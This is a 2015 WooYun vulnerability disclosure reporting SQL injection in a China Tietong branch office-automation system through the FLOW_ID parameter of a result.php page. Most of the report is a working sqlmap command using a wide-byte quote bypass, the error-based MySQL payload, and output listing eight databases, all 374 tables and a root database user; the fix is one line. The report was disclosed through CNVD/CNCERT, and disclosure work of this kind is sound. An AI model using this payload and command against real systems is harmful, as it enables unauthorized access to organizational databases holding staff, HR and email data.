当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148344

漏洞标题：运营商安全之中国铁通分公司某系统SQL注入/root权限/374个表

相关厂商：中国铁通

漏洞作者： 路人甲

提交时间：2015-10-21 14:56

修复时间：2015-12-07 10:58

公开时间：2015-12-07 10:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-21： 细节已通知厂商并且等待厂商处理中
2015-10-23： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向核心白帽子及相关领域专家公开
2015-11-12： 细节向普通白帽子公开
2015-11-22： 细节向实习白帽子公开
2015-12-07： 细节向公众公开

简要描述：

详细说明：

sqlmap -u "**.**.**.**/general/score/flow/scoredate/result.php?FLOW_ID=11%bf%27%20" --dbms=mysql  -p FLOW_ID --tamper=between


加上参数，在linux下可以正常注入


1.jpg


2.jpg


3.jpg


4.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 9657 FROM(SELECT COUNT(*),CONCAT(0x7177696d71,(SELECT (CASE WHEN (9657=9657) THEN 1 ELSE 0 END)),0x7171647671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ONxr
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
current database:    'td_oa'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 9657 FROM(SELECT COUNT(*),CONCAT(0x7177696d71,(SELECT (CASE WHEN (9657=9657) THEN 1 ELSE 0 END)),0x7171647671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ONxr
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
available databases [8]:
[*] BUS
[*] crscell
[*] information_schema
[*] mysql
[*] performance_schema
[*] TD_OA
[*] TD_OA_ARCHIVE
[*] TRAIN
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 9657 FROM(SELECT COUNT(*),CONCAT(0x7177696d71,(SELECT (CASE WHEN (9657=9657) THEN 1 ELSE 0 END)),0x7171647671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ONxr
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
Database: TD_OA
[374 tables]
+----------------------------------+
| session                          |
| user                             |
| version                          |
| address                          |
| address_group                    |
| affair                           |
| app_log                          |
| archive_tables                   |
| attachment                       |
| attachment_edit                  |
| attachment_module                |
| attachment_position              |
| attend_ask_duty                  |
| attend_config                    |
| attend_duty                      |
| attend_duty_shift                |
| attend_evection                  |
| attend_holiday                   |
| attend_leave                     |
| attend_leave_manager             |
| attend_machine                   |
| attend_manager                   |
| attend_out                       |
| attendance_overtime              |
| bbs_board                        |
| bbs_comment                      |
| book_info                        |
| book_manage                      |
| book_manager                     |
| book_type                        |
| bs_line                          |
| calendar                         |
| categories_type                  |
| censor_data                      |
| censor_module                    |
| censor_words                     |
| chatroom                         |
| connect_config                   |
| connect_db                       |
| countdown                        |
| cp_asset_keep                    |
| cp_asset_reflect                 |
| cp_asset_type                    |
| cp_assetcfg                      |
| cp_cptl_info                     |
| cp_dpct_sub                      |
| cp_prcs_prop                     |
| crm_account                      |
| crm_account_care                 |
| crm_account_contact              |
| crm_action                       |
| crm_complain                     |
| crm_contract                     |
| crm_customer_service             |
| crm_depository                   |
| crm_diary_setting                |
| crm_email_html_model             |
| crm_html_model                   |
| crm_marketing                    |
| crm_opportunity                  |
| crm_opportunity_products_list    |
| crm_order                        |
| crm_order_products_list          |
| crm_procurement_payment          |
| crm_product                      |
| crm_product_type                 |
| crm_purchase_order               |
| crm_purchase_order_products_list |
| crm_quotation                    |
| crm_quotation_products_list      |
| crm_salepay                      |
| crm_solutions                    |
| crm_stockout                     |
| crm_stockout_products_list       |
| crm_storage                      |
| crm_storage_products_list        |
| crm_supplier                     |
| crm_supplier_contact             |
| crm_sys_audit                    |
| crm_sys_code                     |
| crm_sys_code_type                |
| crm_sys_entity                   |
| crm_sys_entity_index             |
| crm_sys_entity_op                |
| crm_sys_fast_new                 |
| crm_sys_field                    |
| crm_sys_layout_block             |
| crm_sys_layout_item              |
| crm_sys_list_view                |
| crm_sys_list_view_color          |
| crm_sys_list_view_default        |
| crm_sys_list_view_field          |
| crm_sys_list_view_map            |
| crm_sys_list_view_order          |
| crm_sys_list_view_rule           |
| crm_sys_list_view_rule_parent    |
| crm_sys_op                       |
| crm_sys_op_priv                  |
| crm_sys_op_priv_template         |
| crm_sys_picklist                 |
| crm_sys_quick_link               |
| crm_sys_relation                 |
| crm_sys_remind                   |
| crm_sys_remind_para              |
| crm_sys_report                   |
| crm_sys_report_chart             |
| crm_sys_report_column            |
| crm_sys_report_dir               |
| crm_sys_report_filter            |
| crm_sys_report_filter_parent     |
| crm_sys_report_group             |
| crm_sys_report_summary           |
| crm_sys_report_sysdefine         |
| crm_sys_search                   |
| crm_sys_status                   |
| crm_sys_status_type              |
| crm_sys_uv                       |
| crm_sys_uv_field                 |
| daemon_config                    |
| daemon_hardware_info             |
| daemon_process_info              |
| daemon_services_config           |
| daemon_services_status           |
| daemon_services_tmp              |
| data_source                      |
| data_source_field                |
| data_src                         |
| db_server                        |
| department                       |
| dept_map                         |
| diary                            |
| diary_comment                    |
| diary_comment_reply              |
| diary_share                      |
| doc_keywords                     |
| doc_print_log                    |
| doc_recv_data                    |
| doc_recv_prcs                    |
| doc_recv_priv                    |
| doc_send_data                    |
| doc_send_prcs                    |
| doc_type                         |
| doc_user_data                    |
| doc_user_data2                   |
| efax_account                     |
| efax_receive_box                 |
| efax_send_box                    |
| email                            |
| email_body                       |
| email_box                        |
| email_boxgroup                   |
| email_name                       |
| esb_info                         |
| esb_msg_recv                     |
| esb_msg_send                     |
| esb_workflow                     |
| esb_workflow_model               |
| esb_workflow_model_send          |
| esb_workflow_rule                |
| exam_data                        |
| exam_flow                        |
| exam_paper                       |
| exam_quiz                        |
| exam_quiz_set                    |
| ext_dept                         |
| ext_user                         |
| field_date                       |
| fieldsetting                     |
| file_content                     |
| file_sort                        |
| flow_data_103                    |
| flow_data_5                      |
| flow_data_74                     |
| flow_data_78                     |
| flow_data_82                     |
| flow_feedback_common             |
| flow_form_type                   |
| flow_form_version                |
| flow_hook                        |
| flow_manage_log                  |
| flow_print_tpl                   |
| flow_priv                        |
| flow_process                     |
| flow_query_tpl                   |
| flow_report                      |
| flow_report_priv                 |
| flow_rule                        |
| flow_run                         |
| flow_run_attach                  |
| flow_run_data                    |
| flow_run_feedback                |
| flow_run_hook                    |
| flow_run_log                     |
| flow_run_prcs                    |
| flow_sort                        |
| flow_timer                       |
| flow_type                        |
| flow_version                     |
| form_sort                        |
| gbt_conf                         |
| gwiki_cate                       |
| gwiki_fav                        |
| gwiki_log                        |
| gwiki_priv                       |
| gwiki_tag                        |
| gwiki_template                   |
| gwiki_term                       |
| gwiki_term_final                 |
| gwiki_term_temp                  |
| hr_card_module                   |
| hr_care_task                     |
| hr_code                          |
| hr_insurance_default             |
| hr_insurance_manage              |
| hr_insurance_para                |
| hr_integral_data                 |
| hr_integral_item                 |
| hr_integral_item_type            |
| hr_integral_oa                   |
| hr_manager                       |
| hr_recruit_filter                |
| hr_recruit_plan                  |
| hr_recruit_pool                  |
| hr_recruit_recruitment           |
| hr_recruit_requirements          |
| hr_sal_data                      |
| hr_staff_care                    |
| hr_staff_contract                |
| hr_staff_incentive               |
| hr_staff_info                    |
| hr_staff_labor_skills            |
| hr_staff_learn_experience        |
| hr_staff_leave                   |
| hr_staff_license                 |
| hr_staff_reinstatement           |
| hr_staff_relatives               |
| hr_staff_title_evaluation        |
| hr_staff_transfer                |
| hr_staff_work_experience         |
| hr_training_examine              |
| hr_training_plan                 |
| hr_training_record               |
| hr_wage_manage                   |
| hr_welfare_manage                |
| hrms                             |
| html_model                       |
| im_cluster                       |
| im_discuss_group                 |
| im_discuss_maxmsgid              |
| im_discuss_msg                   |
| im_group                         |
| im_group_maxmsgid                |
| im_group_msg                     |
| im_message_cache                 |
| im_offline_file                  |
| index_article                    |
| index_keyword                    |
| index_search                     |
| interface                        |
| ip_rule                          |
| itask                            |
| itask_body                       |
| itask_category                   |
| itask_idea                       |
| itask_log                        |
| itask_msg                        |
| itask_tag                        |
| login_app                        |
| meeting                          |
| meeting_comment                  |
| meeting_equipment                |
| meeting_room                     |
| meeting_rule                     |
| message                          |
| message2                         |
| mobile_device                    |
| mobile_seal                      |
| module_priv                      |
| mytable                          |
| netchat                          |
| netdisk                          |
| netmeeting                       |
| news                             |
| news_comment                     |
| notes                            |
| notify                           |
| oa_cyclesource_used              |
| oa_source                        |
| oa_source_used                   |
| oc_log                           |
| office_depository                |
| office_products                  |
| office_task                      |
| office_transhistory              |
| office_type                      |
| picture                          |
| plan_type                        |
| portal                           |
| proj_bug                         |
| proj_comment                     |
| proj_cost                        |
| proj_field_date                  |
| proj_fieldsetting                |
| proj_file                        |
| proj_file_log                    |
| proj_file_sort                   |
| proj_forum                       |
| proj_priv                        |
| proj_project                     |
| proj_sys_code                    |
| proj_task                        |
| proj_task_log                    |
| rms_file                         |
| rms_lend                         |
| rms_roll                         |
| rms_roll_room                    |
| sal_data                         |
| sal_flow                         |
| sal_item                         |
| score_date                       |
| score_flow                       |
| score_group                      |
| score_item                       |
| score_self_data                  |
| seal                             |
| seal_keylic                      |
| seal_log                         |
| secure_key                       |
| secure_log                       |
| secure_rule                      |
| sms                              |
| sms2                             |
| sms2_priv                        |
| sms3                             |
| sms_body                         |
| sys_code                         |
| sys_function                     |
| sys_log                          |
| sys_menu                         |
| sys_para                         |
| task                             |
| taskcenter                       |
| unit                             |
| url                              |
| user_ext                         |
| user_group                       |
| user_map                         |
| user_online                      |
| user_priv                        |
| vehicle                          |
| vehicle_maintenance              |
| vehicle_oil_use                  |
| vehicle_operator                 |
| vehicle_usage                    |
| vi_flow_run                      |
| vi_user                          |
| vote_data                        |
| vote_item                        |
| vote_title                       |
| webmail                          |
| webmail_body                     |
| weixun_share                     |
| weixun_share_topic               |
| wiki_ask                         |
| wiki_ask_answer                  |
| wiki_comment                     |
| wiki_info                        |
| winexe                           |
| word_model                       |
| work_detail                      |
| work_person                      |
| work_plan                        |
| zbap_paiban                      |
| zl_file                          |
+----------------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 9657 FROM(SELECT COUNT(*),CONCAT(0x7177696d71,(SELECT (CASE WHEN (9657=9657) THEN 1 ELSE 0 END)),0x7171647671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ONxr
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
current user:    'root@**.**.**.**'

漏洞证明：

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-23 10:57

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无